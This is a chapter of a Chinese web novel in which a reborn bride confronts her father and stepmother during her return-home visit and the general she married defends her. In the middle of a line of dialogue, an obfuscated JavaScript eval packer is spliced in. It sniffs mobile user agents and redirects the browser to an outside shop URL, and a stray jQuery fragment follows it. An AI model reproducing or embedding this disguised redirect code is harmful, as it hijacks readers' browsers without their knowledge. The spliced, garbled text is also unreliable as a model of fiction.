11. 回门日

作品:《将军你怎么回来了(双重生)

    到了回门这一天,天色大亮。


    祁清婉带着小桃刚到府门前,就看见门前停着两辆马车。


    一辆是顾云骁平时乘用的,硬木为骨、乌木饰边,精美大气,有种武将的肃杀气;


    另一辆是府里的普通马车,两大箱贵重的回门礼,外加些应季吃食,把车厢堆得满满当当,完全没办法再坐人。


    祁清婉本以为有两辆马车,她和顾云骁可以一人一辆,没想到还要同乘。


    不过也只思索了一瞬,就干脆认命地抬步上了车,见顾云骁早已经端端正正坐在里面。


    祁清婉略一福身,清清冷冷道:“给将军请安。”话落也不等他反应,就坐在了一旁,与他拉开了些距离。


    顾云骁微愣了一下,没话找话:“可看过礼品清册了?有什么要加的礼品,现在让老李再去库房拿来也还来得及。”


    祁清婉抬眼看他,淡淡道:“有劳将军费心了,清婉惶恐,本不欲铺张,如此已经甚好,无需再加什么了。”


    顾云骁被她轻飘飘一句客套话噎得耳尖微红,只得别过脸:“你可不要多想,我不过是为了将军府的体面,免得传出去被人说将军府苛待你。”


    祁清婉笑笑,转头看向前方,再也不回话。


    于是二人一路安静,马车半个时辰后就驶入祁府巷口,祁父祁振宗接到消息,早已领着王氏及一众下人候在门口,满脸堆笑。


    顾云骁先下了车,祁振宗赶忙快步上前,躬身作揖:“贤婿!贤婿光临寒舍,我祁家老小不胜荣幸!快请进,快请进!”


    说着便引着顾云骁往府里走,目光扫过刚下车的祁清婉,也如同没看到一般,一句话都不曾跟她说。


    如今在朝堂之上,顾云骁手握兵权,又接连得胜回朝,甚得皇上爱重,


    他祁振宗虽说官至太傅,但年岁已高,接班人一茬接一茬,早已没了实权。


    攀上镇北将军这门亲戚,对他来说,只有捧着的份。


    祁清婉早已预料到,神色未变,默默地跟在顾云骁身后,踏入这如牢笼如噩梦般的宅子。


    正厅内,茶水刚摆上,王氏便堆着假笑,语气刻意亲昵:“云骁,快上座。我特意让他们备下上好的碧螺春,快尝尝!”


    “多谢岳父岳母。”顾云骁浅浅行礼,也不推辞,就坐在了上首。


    “云骁啊,清婉嫁过去这段时日,一切可都还好?”王氏也落了座,状似无意地拉起了家常。


    “谢岳母关心,一切都好。”顾云骁恭敬回复,瞥了一眼站在一旁的祁清婉,就见她仿若未闻,垂着眼不知道在想些什么。


    “那就好,那就好。清婉这孩子命苦,才六岁便没了亲娘教导,性子养得乖张。好在将军宽厚,肯接纳她,若是换了旁人,哪能容得下她这般性子?”王氏假意说道。


    顾云骁微微蹙眉,还未开口,就听祁振宗附和道:


    “就是,贤婿!我夫人说得极是。清婉打小就随她亲娘,性子跳脱又倔强,不见半点女儿家的温柔,平日里对我们也是连句贴心话都不会说,往后还要请贤婿多担待些!”


    祁清婉听到这里,才抬眼,脸上带着温柔浅笑:


    “父亲这话可就太让女儿意外了。当初您和母亲求我替嫁时,可不曾说过我半句不是。那会儿母亲还握着我的手,说我是祁家的救命稻草,只要嫁给将军,就能保全家性命,还说女儿好歹是太傅嫡女,配顾将军也是绰绰有余。”


    “怎么这才几日,我就成了性情乖张、不懂温柔、委屈了将军了?”她目光定定看着祁振宗脸上笑意渐失,笑意不达眼底,


    “莫不是父亲把我嫁进将军府,又后悔了,故意在将军面前说我的不是,让将军早早厌弃了我,好给清柔妹妹留些转圜的余地?”


    “你放肆!”祁振宗沉声呵斥,“你怎么跟父亲说话呢?清柔是你妹妹!你本应该好好规劝,你却由着她离家出走,本就是你当姐姐的失职!”


    “依父亲所言,清柔妹妹为逃婚离家,不知所踪,如今也是我的责任了?”祁清婉寸步不让。


    王氏见此情景,急得冒汗,这左一句离家,右一句逃婚的,恐让顾云骁对祁清柔更生怨怼,将来清柔真的回来了,就一点机会都没有了,忙开口道:


    “云骁啊,这清柔不告而别,想必一定是有苦衷的,她自小与你相识,性子温婉可人,你也最是清楚的,她心里定是有你。”


    顾云骁把玩着手上的玉扳指,脸上不辨喜怒:“既是心里有我,又为何逃婚?”


    “这……”王氏一时语塞,急忙给祁振宗使眼色。


    “贤婿,贤婿,清柔出走的原因,我们确不知情,待他日清柔回来,一定让她上门给你一个交代。”


    “父亲是要妹妹上门给将军什么交代?”祁清婉笑着接话,“如今我是将军明媒正娶、八抬大轿娶进将军府的当家主母,妹妹上门给的交代,可是想和母亲一样,做个妾?”


    “你闭嘴!”王氏恼羞成怒,厉声喝住祁清婉,又对着顾云骁装凄婉地笑笑,


    “云骁,见笑了,清婉这孩子一直对我和清柔怀恨在心,纵然我们对她百般爱护,也没能换来她一些尊敬。”


    “她生母沈氏过世时她才六岁,也是可怜孩子,不过她总觉得是我进府的事,把她娘气病,最后早早地就去了。这才对我和清柔冷淡得很,没有半点亲情。”王氏说着还用帕子装模作样地抹了抹不存在的眼泪,


    “可当年,是清婉的娘亲当年容不下我和清柔,总是苛待我们娘俩,又常与老爷置气,这才落得郁郁而终的结局。说到底还是我没能好好教清婉,才让她行事这般粗鄙,还望你多包涵。”


    祁清婉闻言面色一凛,随即轻笑出声:“母亲这是什么话。我生母性子最是柔弱温婉,当年待府中下人都宽厚仁厚,清婉敢说时到今日随便喊来个下人,都不会说她半个不字,又怎会苛待你们母女?”


    “倒是当年父亲与您,暗里相好多年,常年被父亲养在外头,衣食用度都比我娘亲还好,连怀孕生女都与我母亲时日相差无几。”


    “孩子一生,父亲不顾我娘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17141189|196345||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲还在月子中,就马上把你母女接进府里来,日日爱护有加,不曾给我娘亲一点关怀,这般做派,是我母亲容不下你们,还是你们想取代我娘亲上位?”


    “你胡说八道!”王氏脸色瞬间惨白,顾不得仪态,“是你娘心胸狭隘,见振宗纳我妾,疼爱我们母女,一时气急,才一病不起,撒手人寰的,与我何干!”


    祁清婉挑了挑眉:“母亲不是知道的嘛,当年只因祁清柔偶感风热,您就说我娘亲有意指使下人,把屋里炭火烧的太旺,我娘便被我父亲罚跪在祠堂外两天一夜。只是那炭火,是谁找我娘要添的?”


    “数九寒天,您和父亲在屋里暖融融地吃茶聊天,抱着祁清柔尽享天伦。我娘跪在雪地里,最后晕了过去,还是我喊来秦嬷嬷才把娘扶回了房里。”祁清婉面上还在笑,说的话却叫人听着难受,


    “那日后,我娘的身体便垮了,郎中请了不少,您也送来不少汤药,还着人日日盯着我娘喝药,可那病情反倒一日重过一日,您说,这究竟是怎么回事呢?”


    这些事,她本是记不清楚的,毕竟娘亲过世时她还小。


    还是她前世临死前,顾云骁念她除了祁家,只有个小时候带过她的老嬷嬷待她亲厚,就安排她们见了一面,她才从秦嬷嬷口中得知娘亲的死,另有蹊跷。


    祁振宗被气得浑身发抖,猛地起身一拍桌子,指着祁清婉破口大骂:


    “孽障!你竟敢编排你父亲和母亲!我能养你这么大,还给你寻了这门好亲事,是你的福气,别不知好歹!”


    “福气?”祁清婉低笑出声,


    “父亲这话,倒真是让女儿不解。我好歹太傅嫡女,可我娘死后,我在祁府住的最偏的院落,吃的残羹冷饭,穿的粗布旧衣,如今被逼着替祁清柔嫁人,这都是我的福气?”


    她收了笑意,平静无波,语气无悲无喜:“今日回门,不过是遵着规矩走个过场,免得旁人说将军府不懂礼数,倒让将军落了别人口实。”


    顿了顿又道,“我出嫁那日便已说过,祁清婉出阁,并不欲与祁家再有干系,各生安好便是。祁大人的好女儿只有一个祁清柔,祁夫人也尽管做您风风光光的祁家主母。”


    “至于我,往后在将军府过得好与坏,都与祁家无关。哦,对了,将来祁家若有丧事,倒是可以知会一声,到时若我有时间,定送上礼金,以表心意。”


    “你!”祁振宗气得双目圆睁,冲过来扬手就要扇祁清婉耳光,“我看你是翅膀硬了,敢忤逆我!”


    巴掌还未落下,便被一只手死死攥住。


    顾云骁不知何时起身,站在了祁清婉身旁,攥着祁振宗的手腕,力道大得让祁振宗痛呼出声。


    “祁大人,”顾云骁的声音冰冷,带着威严,“祁清婉好歹也是我的夫人,你这是要做什么?”


    祁振宗一介文官,哪里受得了顾云骁的力气,痛得五官都纠在一起,连忙求饶:


    “贤婿!贤婿!快放手,痛痛痛!我……我只是一时气急,管教女儿而已,你快放手,我不动她便是。”